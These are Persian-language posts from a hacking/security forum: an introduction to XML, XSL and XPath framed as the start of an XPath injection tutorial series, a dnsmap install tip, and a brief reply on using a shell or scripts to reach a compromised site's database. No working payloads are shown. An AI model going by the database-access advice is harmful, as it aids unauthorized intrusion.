    XPath قبل از یادگیری XPath، ابتدا باید XSL را که مخفف extensible Stylesheet Language است را درک کنیم که همانند CSS برای HTML است. در اسناد HTML، تگ های از پیش تعریف شده مانند table، div، span و غیره... استفاده می شود. مرورگر می- داند که چگونه آن ها را (با استفاده از CSS) نمایش دهد. همانطور که گفته شد در اسناد XML، تگ ها از پیش تعریف نمی شوند به منظور درک و به رسمیت شناختن یک سند XML، کنسرسیوم جهانی وب، XSLرا توسعه داده است که می تواند به عنوان یک زبان Stylesheet مبتنی بر XML عمل کند. یک سند XSL مشخص می کند چگونه یک مرورگر باید سند XML را ارائه دهد. بخش های اصلی XSL XSL برای تبدیل اسناد XML به انواع دیگر سند استفاده می شود. XPath برای سرچ و بازیابی داده ها در اسناد XML استفاده می شود. XSL-FO برای فرمت XML اسناد استفاده می شود. پس XPath یک زبان پرس و جو است که برای آدرس دهی و سرچ اطلاعات در یک سند XML استفاده می شود. در هنگام کار با XPath، باید نکات زیر را در نظر داشته باشید: XPath یک عنصر اصلی در استاندارد XSLT است XSLT نمی تواند بدون XPath کار کند. XPath مبتنی بر XQuery و XPointer است.
  11. P0S3ID0N

    آموزش حملات Xpath Injection

    قسمت اول ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ زبان XML همانطور که مطلع هستید اگر ما بخواهیم حملات SQLInjection انجام بدیم نیاز به دانستن ساختار و دانش پایگاه داده مثل (جداول، سطرها، ستون و..) هستیم در حملات XPath Injection هم به همین صورت نیاز به درک اصطلاحات، ساختار و دانش اولیه در مورد XML است. در پایین مقدمه ای برای درک اصطلاحات XML از سایت w3schools.com گرفته شده است. XML مخفف زبان نشانه گذاری Extensible Markup Language است XML یک زبان نشانه گذاری شبیه به HTML است. XML برای ذخیره و انتقال اطلاعات طراحی شده است تگ‌های XML از قبل تعریف نشده‌اند، خودتان‌ باید تگ ها را تعریف کنید. XML به صورت خود توصیفی (self-descriptive) طراحی شده است. XMLهیچ کاری انجام نمی‌دهد! مثال زیر متنی است از طرف mary برای ajax با XML نوشته شده: 1. <note> 2. <to>Ajax</to> 3. <from> Mary </from> 4. <heading>Reminder</heading> 5. <body>Don't forget me this weekend!</body> 6. </note> متن بالا یک متن خود‌ توصیفی است. این متن اطلاعاتی در مورد ارسال کننده (from) و دریافت کننده (to) دارد و همچنین دارای یک عنوان (heading) و یک پیغام (body) است. اما این سند XML هنوز هیچ کاری انجام نمی‌دهد و تنها یکسری اطلاعات است که درون تگ‌ها قرار گرفته، یک نفر باید برای ارسال، دریافت یا نمایش این سند برنامه‌ای بنویسد. توسط XML شما تگ‌ های خودتان را می‌سازید تگ‌ های مثال بالا مثل <to> و <from> در هیچ استانداردی برای XML تعریف نشده‌اند. این تگ ‌ها توسط نویسنده این سند XML ساخته شده‌اند به دلیل این که زبان XML هیچ تگ از پیش تعریف شده‌ای ندارد. تگ‌هایی که درون HTML استفاده می‌شوند از قبل تعریف شده‌اند. یک سند HTML فقط می‌تواند از تگ‌هایی استفاده کند که در استاندارد HTML تعریف شده باشند مثل <h1> ،<p> و ... XML اجازه می‌دهد که نویسنده خودش ، تگ ها و همچنین ساختار سند را تعریف کند. تفاوت بین XML و HTML XML برای توصیف داده‌ها و تمرکز بر محتوای داده‌ها طراحی شده است. HTML برای نمایش داده‌ها و نحوه‌ ی نمایش داده‌ها طراحی شده است. HTML مخصوص نمایش داده‌ ها است در حالی که XML مخصوص انتقال اطلاعات است.
  12. به نام خدا در این سری آموزش ها، ابتدا توضیحاتی راجع به زبانXML داده می شود، سپس در ادامه به بررسی(XPath) XML Path language در XML میپردازیم و درنهایت به صورت عملی روش ها و تکنیک های Xpath Injection رو توضیح می دهیم. این آموزش در 3 قسمت ارایه می شود: قسمت اول آموزش قسمت دوم آموزش قسمت سوم آموزش دوستانی که سوال، نظر یا پیشنهادی در مورد آموزش ها دارند در بخش سوال و جواب های انجمن مطرح کنند. موفق باشید GUARDIRAN SECURITY TEAM
  13. احتمالا در آپدیت جدید این ابزار رو دیگه قرار ندادند دقیق بررسی نکردم ببینم حذف شده یا نه برای نصب از این این دستور استفاده کنید apt-get install dnsmap توضیحات مربوط به این ابزار رو در اینجا https://tools.kali.org/information-gathering/dnsmap و سورس ابزار رو هم در اینجا میتونید مشاهده کنید https://code.google.com/archive/p/dnsmap/downloads
  14. باید از اون سایت دسترسی داشته باشی تا بتونی به محتویات هاست دسترسی پیدا کنی و با استفاده از شل یا ابزارهایی دیگه که با زبان های پرل یا پایتون نوشته شده اند میتونی به دیتابیس دسترسی پیدا کنی کار سختی نیست یه نکته رو بگم هک سرور لازم نیست یعنی برای این کار دسترسی روت لازم نیست فکر نکنم نیازی به توضیح بیشتری باشه . لطفا جواب های قبلی رو مطالعه کنید و این بحث ادامه ندهید چون باعث حذف تاپیک خواهد شد. موفق باشید.
  15. P0S3ID0N

    .

    .